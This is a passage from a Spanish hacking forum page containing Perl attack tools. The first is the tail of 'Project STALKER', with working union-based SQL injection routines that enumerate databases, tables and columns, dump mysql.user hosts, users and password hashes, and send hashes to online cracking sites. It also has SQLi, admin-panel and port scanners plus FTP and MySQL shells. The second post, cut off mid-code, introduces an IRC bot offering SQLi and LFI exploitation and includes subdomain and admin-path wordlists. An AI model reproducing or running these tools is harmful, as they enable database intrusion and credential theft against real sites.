  515. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  516. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  517. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  518. print "\n[Columns Length : $1 ]\n\n";
  519. savefile($save.".txt","[Columns Length : $1 ]\n");
  520. my $si = $1;
  521. chomp $si;
  522. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  523. $real = "1";
  524. for my $limit2(0..$si) {
  525. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  526. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  527. print "[Column $real] : $1\n"; 
  528. savefile($save.".txt","[Column $real] : $1");
  529. $real++;
  530. }}
  531. print "\n";
  532. } else {
  533. print "\n[-] information_schema = ERROR\n";
  534. }}
  535.  
  536. sub schemadb {
  537. my ($page,$bypass,$save) = @_;
  538. my $page1 = $page;
  539. savefile($save.".txt","\n");
  540. print "\n\n[+] Searching DBS\n\n";
  541. ($pass1,$pass2) = &bypass($bypass);
  542. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  543. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  544. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  545. my $limita = $1;
  546. print "[+] Databases Length : $limita\n\n";
  547. savefile($save.".txt","[+] Databases Length : $limita\n");
  548. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  549. $real = "1";
  550. for my $limit(0..$limita) {
  551. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  552. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  553. my $control = $1;
  554. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  555. print "[Database $real Found] $control\n";
  556. savefile($save.".txt","[Database $real Found] : $control");
  557. $real++;
  558. }
  559. }
  560. }
  561. print "\n";
  562. } else {
  563. print "[-] information_schema = ERROR\n";
  564. }
  565. }
  566.  
  567. sub schematablesdb {
  568. my $page = $_[0];
  569. my $db = $_[2];
  570. my $page1 = $page;
  571. savefile($_[3].".txt","\n");
  572. print "\n\n[+] Searching tables with DB $db\n\n";
  573. ($pass1,$pass2) = &bypass($_[1]);
  574. savefile($_[3].".txt","[DB] : $db");
  575. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  576. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  577. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  578. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  579. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  580. print "[+] Tables Length :  $1\n\n";
  581. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  582. my $limit = $1;
  583. $real = "1";
  584. for my $lim(0..$limit) {
  585. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  586. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  587. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  588. my $table = $1;
  589. chomp $table;
  590. savefile($_[3].".txt","[Table $real Found : $table ]");
  591. print "[Table $real Found : $table ]\n";
  592. $real++;
  593. }}
  594. print "\n";	
  595. } else {
  596. print "\n[-] information_schema = ERROR\n";
  597. }}
  598.  
  599. sub schemacolumnsdb {
  600. my ($page,$bypass,$db,$table,$save) = @_;
  601. my $page3 = $page;
  602. my $page4 = $page;
  603. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  604. savefile($save.".txt","\n");
  605. ($pass1,$pass2) = &bypass($_[1]);
  606. savefile($save.".txt","\n[DB] : $db");
  607. savefile($save.".txt","[Table] : $table");
  608. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  609. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  610. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  611. print "\n[Columns length : $1 ]\n\n";
  612. savefile($save.".txt","[Columns length : $1 ]\n");
  613. my $si = $1;
  614. chomp $si;
  615. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  616. $real = "1";
  617. for my $limit2(0..$si) {
  618. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  619. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  620. print "[Column $real] : $1\n";
  621. savefile($save.".txt","[Column $real] : $1");
  622. $real++;
  623. }
  624. }
  625. } else {
  626. print "\n[-] information_schema = ERROR\n";
  627. }
  628. print "\n";
  629. }
  630.  
  631. sub mysqluser {
  632. my ($page,$bypass,$save) = @_;
  633. my $cop = $page;
  634. my $cop1 = $page;
  635. savefile($save.".txt","\n");
  636. print "\n\n[+] Finding mysql.users\n";
  637. ($pass1,$pass2) = &bypass($bypass);
  638. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  639. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  640. if ($code=~/RATSXPDOWN/ig){
  641. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  642. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  643. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  644. print "\n[+] Users Found : $1\n\n";
  645. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  646. for my $limit(0..$1) { 
  647. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  648. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  649. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  650. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  651. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  652. } else {
  653. print "\n";
  654. &reload;
  655. }
  656. }
  657. }
  658. } else {
  659. print "\n[-] mysql.user = ERROR\n\n";
  660. }
  661. }
  662.  
  663. sub dump {
  664. savefile($_[5].".txt","\n");
  665. my $page = $_[0];
  666. ($pass1,$pass2) = &bypass($_[4]);
  667. if ($page=~/(.*)hackman(.*)/){ 
  668. my $start = $1;
  669. my $end = $2;
  670. print "\n\n[+] Extracting values...\n\n";
  671. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  672. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  673. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  674. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  675. $tota = $1; 
  676. print "[+] Table : $_[3]\n";
  677. print "[+] Length of the rows : $tota\n\n";
  678. print "[$_[1]] [$_[2]]\n\n";
  679. savefile($_[5].".txt","[Table] : $_[3]");
  680. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  681. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  682. for my $limit(0..$tota) { 
  683. chomp $limit;
  684. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  685. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  686. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  687. print "[$_[1]] : $1   [$_[2]] : $2\n"; 
  688. } else {
  689. print "\n\n[+] Extracting Finish\n\n"; 
  690. &reload;
  691. }
  692. }
  693. } else {
  694. print "[-] Not Found any DATA\n\n";
  695. }}}
  696.  
  697. sub bypass {
  698. if ($_[0] eq "/*") { return ("/**/","/*"); }
  699. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  700. else {return ("+","--");}}
  701.  
  702. sub ascii {
  703. return join ',',unpack "U*",$_[0]; 
  704. }
  705.  
  706. sub base {
  707. $re = encode_base64($_[0]);
  708. chomp $re;
  709. return $re;
  710. }
  711.  
  712. sub base_de {
  713. $re = decode_base64($_[0]);
  714. chomp $re;
  715. return $re;
  716. }
  717.  
  718.  
  719. sub download {
  720. if ($nave->mirror($_[0],$_[1])) {
  721. if (-f $_[1]) {
  722. return true;
  723. }}}
  724.  
  725.  
  726. sub hex_en {
  727. my $string = $_[0];
  728. $hex = '0x';
  729. for (split //,$string) {
  730. $hex .= sprintf "%x", ord;
  731. }
  732. return $hex;
  733. }
  734.  
  735. sub hex_de {
  736. my $text = shift;
  737. $text =~ s/^0x//;
  738. $encode = join q[], map { chr hex } $text =~ /../g;
  739. return $encode;
  740. }
  741.  
  742. sub ascii_de {
  743. my $text = shift;
  744. $text = join q[], map { chr } split q[,],$text;
  745. return $text;
  746. }
  747.  
  748. sub getprocess {
  749.  
  750. my %procesos;
  751.  
  752. my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  753. my $dos = $uno->ConnectServer("","root\\cimv2");
  754.  
  755. foreach my $pro (in $dos->InstancesOf("Win32_Process")){
  756. $procesos{$pro->{Caption}} = $pro->{ProcessId};
  757. }
  758. return %procesos;
  759. }
  760.  
  761. sub killprocess {
  762.  
  763. my ($numb,$pid) = @_;
  764.  
  765. if (Win32::Process::KillProcess($pid,$numb)) {
  766. return true;
  767. } else {
  768. return false;
  769. }
  770. }
  771.  
  772. sub getip {
  773. my $get = gethostbyname($_[0]);
  774. return inet_ntoa($get);
  775. }
  776.  
  777. sub crackit {
  778.  
  779. my $secret = $_[0];
  780.  
  781. print "[+] Cracking $_[0]\n\n";
  782.  
  783. my %hash = (
  784.  
  785. 'http://passcracking.com/' => {
  786. 'tipo'  => 'post',
  787. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  788. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  789. },   
  790. 'http://md5.hashcracking.com/search.php?md5=' =>  { 
  791. 'tipo' => 'get',
  792. 'regex' => 'Cleartext of $_[0] is (.*)',
  793. },
  794. 'http://www.bigtrapeze.com/md5/' =>  { 
  795. 'tipo' => 'post',
  796. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  797. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  798. },
  799. 'http://opencrack.hashkiller.com/' =>  { 
  800. 'tipo' => 'post',
  801. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  802. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  803. },
  804. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  { 
  805. 'tipo' => 'post',
  806. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  807. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  808. },
  809. 'http://victorov.su/md5/?md5e=&md5d=' =>  { 
  810. 'tipo' => 'get',
  811. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  812. }
  813. );
  814.  
  815. for my $data(keys %hash) {
  816.  
  817. if ($hash{$data}{tipo} eq "get") {
  818. $code = toma($data.$_[0]);
  819. if ($code=~/$hash{$data}{regex}/ig) {
  820. print "\n[+] Decoded : ".$1."\n\n";
  821. saveyes("logs/pass-found.txt",$secret.":".$1);
  822. }
  823. } else {
  824. $code = tomar($data,$hash{$data}{variables});
  825. if ($code=~/$hash{$data}{regex}/ig) {
  826. saveyes("logs/pass-found.txt",$secret.":".$1);
  827. }
  828. }
  829. }
  830. print "\n[+] Finish\n"; 
  831. }
  832.  
  833. sub ftp {
  834.  
  835. my ($ftp,$user,$pass) = @_;
  836.  
  837. if (my $socket = Net::FTP->new($ftp)) {
  838. if ($socket->login($user,$pass)) {
  839.  
  840. print "\n[+] Enter of the server FTP\n\n";
  841.  
  842. menu:
  843.  
  844. print "\n\nftp>";
  845. chomp (my $cmd = <stdin>);
  846. print "\n\n";
  847.  
  848. if ($cmd=~/help/) {
  849. print q(
  850.  
  851. help : show information
  852. cd : change directory <dir>
  853. dir : list a directory 
  854. mdkdir : create a directory <dir>
  855. rmdir : delete a directory <dir>
  856. pwd : directory  
  857. del : delete a file <file>
  858. rename : change name of the a file <file1> <file2>
  859. size : size of the a file <file>
  860. put : upload a file <file>
  861. get : download a file <file>
  862. cdup : change dir <dir>
  863. exit : ??
  864.  
  865.  
  866. );
  867. }
  868.  
  869. if ($cmd=~/dir/ig) {
  870. if (my @files = $socket->dir()) {
  871. for(@files) {
  872. print "[+] ".$_."\n";
  873. }
  874. } else {
  875. print "\n\n[-] Error\n\n";
  876. }
  877. }
  878.  
  879. if ($cmd=~/pwd/ig) {
  880. print "[+] Path : ".$socket->pwd()."\n";
  881. }
  882.  
  883. if ($cmd=~/cd (.*)/ig) {
  884. if ($socket->cwd($1)) {
  885. print "[+] Directory changed\n";
  886. } else {
  887. print "\n\n[-] Error\n\n";
  888. }
  889. }
  890.  
  891. if ($cmd=~/cdup/ig) {
  892. if (my $dir = $socket->cdup()) {
  893. print "\n\n[+] Directory changed\n\n";
  894. } else {
  895. print "\n\n[-] Error\n\n";
  896. }
  897. }
  898.  
  899. if ($cmd=~/del (.*)/ig) {
  900. if ($socket->delete($1)) {
  901. print "[+] File deleted\n";
  902. } else {
  903. print "\n\n[-] Error\n\n";
  904. }
  905. }
  906.  
  907. if ($cmd=~/rename (.*) (.*)/ig) {
  908. if ($socket->rename($1,$2)) {
  909. print "[+] File Updated\n";
  910. } else {
  911. print "\n\n[-] Error\n\n";
  912. }
  913. }
  914.  
  915. if ($cmd=~/mkdir (.*)/ig) {
  916. if ($socket->mkdir($1)) {
  917. print "\n\n[+] Directory created\n";
  918. } else {
  919. print "\n\n[-] Error\n\n";
  920. }
  921. }
  922.  
  923. if ($cmd=~/rmdir (.*)/ig) {
  924. if ($socket->rmdir($1)) {
  925. print "\n\n[+] Directory deleted\n"; 
  926. } else {
  927. print "\n\n[-] Error\n\n";
  928. }
  929. }
  930.  
  931. if ($cmd=~/exit/ig) {
  932. next;
  933. }
  934.  
  935. if ($cmd=~/get (.*) (.*)/ig) {
  936. print "\n\n[+] Downloading file\n\n";
  937. if ($socket->get($1,$2)) {
  938. print "[+] Download completed";
  939. } else {
  940. print "\n\n[-] Error\n\n";
  941. }
  942. }
  943.  
  944. if ($cmd=~/put (.*) (.*)/ig) {
  945. print "\n\n[+] Uploading file\n\n";
  946. if ($socket->put($1,$2)) {
  947. print "[+] Upload completed";
  948. } else {
  949. print "\n\n[-] Error\n\n";
  950. }
  951. }
  952.  
  953. if ($cmd=~/quit/) {
  954. next;
  955. }
  956.  
  957. goto menu;
  958.  
  959. } else {
  960. print "\n[-] Failed the login\n\n";
  961. }
  962.  
  963. } else {
  964. print "\n\n[-] Error\n\n";
  965. }
  966.  
  967.  
  968.  
  969. }
  970.  
  971.  
  972. sub scanpaths {
  973.  
  974. my $urla = $_[0];
  975.  
  976. print "\n[+] Find paths in $urla\n\n\n";
  977. my @urls = repes(get_links(toma($urla)));
  978. for $url(@urls) {
  979. my $web = $url;
  980. my ($scheme, $auth, $path, $query, $frag)  = uri_split($url);
  981. if ($_[0] =~/$auth/ or $auth eq "") {
  982. if ($path=~/(.*)\/(.*)\.(.*)$/) {
  983. my $borrar = $2.".".$3;
  984. if ($web=~/(.*)$borrar/) {
  985. my $co = $1;
  986. unless ($co=~/$auth/) {
  987. $co = $urla.$co;
  988. }
  989. $code = toma($co);
  990. if ($code=~/Index Of/ig) {
  991. print "[Link] : ".$co."\n";
  992. saveyes("logs/paths-found.txt",$co);
  993. }}}}}
  994. print "\n\n[+] Finish\n";
  995. }
  996.  
  997.  
  998. sub scanport {
  999.  
  1000. my %ports = ("21"=>"ftp",
  1001. "22"=>"ssh",
  1002. "25"=>"smtp",
  1003. "80"=>"http",
  1004. "110"=>"pop3",
  1005. "3306"=>"mysql"
  1006. );
  1007.  
  1008.  
  1009. print "[+] Scanning $_[0]\n\n\n";
  1010.  
  1011. for my $port(keys %ports) {
  1012.  
  1013. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  1014. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  1015. }
  1016. }
  1017. print "\n\n[+] Finish\n";
  1018. }
  1019.  
  1020.  
  1021. sub scanpanel {
  1022. print "[+] Scanning $_[0]\n\n\n";
  1023. for $path(@panels) {
  1024. $code = tomax($_[0]."/".$path);
  1025. if ($code->is_success) {
  1026. print "[Link] : ".$_[0]."/".$path."\n";
  1027. saveyes("logs/panel-logs.txt",$_[0]."/".$path);
  1028. }
  1029. }
  1030. print "\n\n[+] Finish\n";
  1031. }
  1032.  
  1033. sub google {
  1034. my($a,$b) = @_;
  1035. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  1036. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  1037. my @links = get_links($code);
  1038. for my $l(@links) {
  1039. if ($l =~/webcache.googleusercontent.com/) {
  1040. push(@url,$l);
  1041. }
  1042. }
  1043. }
  1044.  
  1045. for(@url) {
  1046. if ($_ =~/cache:(.*?):(.*?)\+/) {
  1047. push(@founds,$2);
  1048. }
  1049. }
  1050.  
  1051. my @founds = repes(@founds);
  1052.  
  1053. return @founds; 
  1054. }
  1055.  
  1056.  
  1057. sub sql {
  1058.  
  1059. my ($pass1,$pass2) = ("+","--");
  1060. my $page = shift;
  1061. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  1062. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  1063. print "[+] SQLI : $page\a\n";
  1064. saveyes("logs/sql-logs.txt",$page);
  1065. }}
  1066.  
  1067. sub get_links {
  1068.  
  1069. my $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  1070. return @links;
  1071.  
  1072. sub agarrar {
  1073. my ($a,%b) = @_;
  1074. push(@links,values %b); 
  1075. }
  1076.  
  1077. }
  1078.  
  1079. sub repes {
  1080. foreach $test(@_) {
  1081. push @limpio,$test unless $repe{$test}++;
  1082. }
  1083. return @limpio;
  1084. }
  1085.  
  1086. sub head {
  1087. cprint "\x0311"; #13
  1088. print "\n\n-- == Project STALKER == --\n\n"; 
  1089. cprint "\x030";
  1090. }
  1091.  
  1092. sub copyright {
  1093. cprint "\x0311"; #13
  1094. print"\n\n(C) Doddy Hackman 2011\n\n";
  1095. cprint "\x030";
  1096. }
  1097.  
  1098. sub toma {
  1099. return $nave->get($_[0])->content;
  1100. }
  1101.  
  1102. sub tomax {
  1103. return $nave->get($_[0]);
  1104. }
  1105.  
  1106. sub tomar {
  1107. my ($web,$var) = @_;
  1108. return $nave->post($web,[%{$var}])->content;
  1109. }
  1110.  
  1111.  
  1112. sub conectar {
  1113.  
  1114. my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
  1115. Proto => "tcp",Timeout  => 5);
  1116.  
  1117. print $sockex $_[2]."\r\n";
  1118. $sockex->read($re,5000);
  1119. $sockex->close;
  1120. return $re."\r\n";
  1121. }
  1122.  
  1123.  
  1124. sub enter {
  1125.  
  1126. my ($host,$user,$pass) = @_;
  1127.  
  1128. print "[+] Connecting to the server\n";
  1129.  
  1130. $info = "dbi:mysql::".$host.":3306";
  1131. if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
  1132.  
  1133. print "\n[+] Enter in the database";
  1134.  
  1135. while(1) {
  1136. print "\n\n\n[+] Query : ";
  1137. chomp(my $ac = <stdin>);
  1138.  
  1139. if ($ac eq "exit") {
  1140. $enter->disconnect;
  1141. print "\n\n[+] Closing connection\n\n";
  1142. last;
  1143. }
  1144.  
  1145. $re = $enter->prepare($ac);
  1146. $re->execute();
  1147. my $total = $re->rows();
  1148.  
  1149. my @columnas = @{$re->{NAME}};
  1150.  
  1151. if ($total eq "-1") {
  1152. print "\n\n[-] Query Error\n";
  1153. next;
  1154. } else {
  1155. print "\n\n[+] Result of the query\n";
  1156. if ($total eq 0) {
  1157. print "\n\n[+] Not rows returned\n\n";
  1158. } else {
  1159. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  1160. for(@columnas) {
  1161. print $_."\t\t";
  1162. }
  1163. print "\n\n";
  1164. while (@row = $re->fetchrow_array) {
  1165. for(@row) {
  1166. print $_."\t\t";
  1167. }
  1168. print "\n";
  1169. }}}}
  1170. } else {
  1171. print "\n[-] Error connecting\n";
  1172. }}
  1173.  
  1174. sub saveyes {
  1175. open (SAVE,">>".$_[0]);
  1176. print SAVE $_[1]."\n";
  1177. close SAVE; 
  1178. }
  1179.  
  1180. sub savefile {
  1181. open (SAVE,">>logs/webs/".$_[0]);
  1182. print SAVE $_[1]."\n";
  1183. close SAVE; 
  1184. }
  1185.  
  1186. sub coleccionar {
  1187. opendir DIR,$_[0];
  1188. my @archivos = readdir DIR;
  1189. close DIR;
  1190. return @archivos;
  1191. }
  1192.  
  1193. sub helpme {
  1194.  
  1195. cprint "\x0310"; #13
  1196. print qq(
  1197.  
  1198. Commands : 
  1199.  
  1200.  
  1201. getinfo 
  1202. getip <host>
  1203. getlink <page>
  1204. getprocess 
  1205. killprocess <name process> <pid process>
  1206. conec <host> <port> <command>  
  1207. allow <host>
  1208. paths <page>
  1209. encodehex <text>
  1210. decodehex <text>
  1211. encodeascii <text>
  1212. decodeascii <text>
  1213. encodebase <text>
  1214. decodebase <text>
  1215. scanport <host>
  1216. panel <page>
  1217. getpass <hash>
  1218. kobra <page>
  1219. ftp <host> <user> <pass>
  1220. mysql <host> <user> <pass>
  1221. navegator
  1222. scangoogle
  1223. help
  1224. exit
  1225.  
  1226. );
  1227. cprint "\x030";
  1228. }
  1229.  
  1230. #
  1231. #  The End ?
  1232. #
  1233.  
506  Programación / Scripting / [Perl] Terr0r B0t By Doddy H en: 7 Octubre 2011, 15:55 pm
Hola a todos.

Hoy les traigo un programa que hice anoche , este es un bot irc ,el cual
tiene las siguientes opciones :

* Codificacion y decodificacion de base64 , hex , ascii
* Buscar panel de administracion de algun sitio
* Scan SQLI  (busca numero de columnas y da info)
* Tool para explotar LFI

Comandos para el bot en el canal

Código:
!base64 encode/decode string
!hex encode/decode string
!ascii encode/decode string
!panel http://127.0.0.1 
!sqli http://127.0.0.1/sql.php?id=
!lfi http://127.0.0.1/lfi.php?file='

Forma de uso :

Código:
C:/Users/DoddyH/Desktop/Arsenal X>terror-b0t.pl


[+] tERR0R b0T (c) dODDy HacKMaN 2010

[+] Starting the bot
[+] Online



Código
  1. #!usr/bin/perl
  2. #Terr0r B0t (C) Doddy Hackman 2010
  3. #Commands to use
  4. #
  5. #!base64 encode/decode string
  6. #!hex encode/decode string
  7. #!ascii encode/decode string
  8. #!panel http://127.0.0.1
  9. #!sqli http://127.0.0.1/sql.php?id=
  10. #!lfi http://127.0.0.1/lfi.php?file='
  11. #
  12. #
  13.  
  14.  
  15.  
  16.  
  17.  
  18. use IO::Socket;
  19. use LWP::UserAgent;
  20. use HTTP::Request::Common;
  21.  
  22.  
  23.  
  24. @dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');
  25.  
  26.  
  27. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/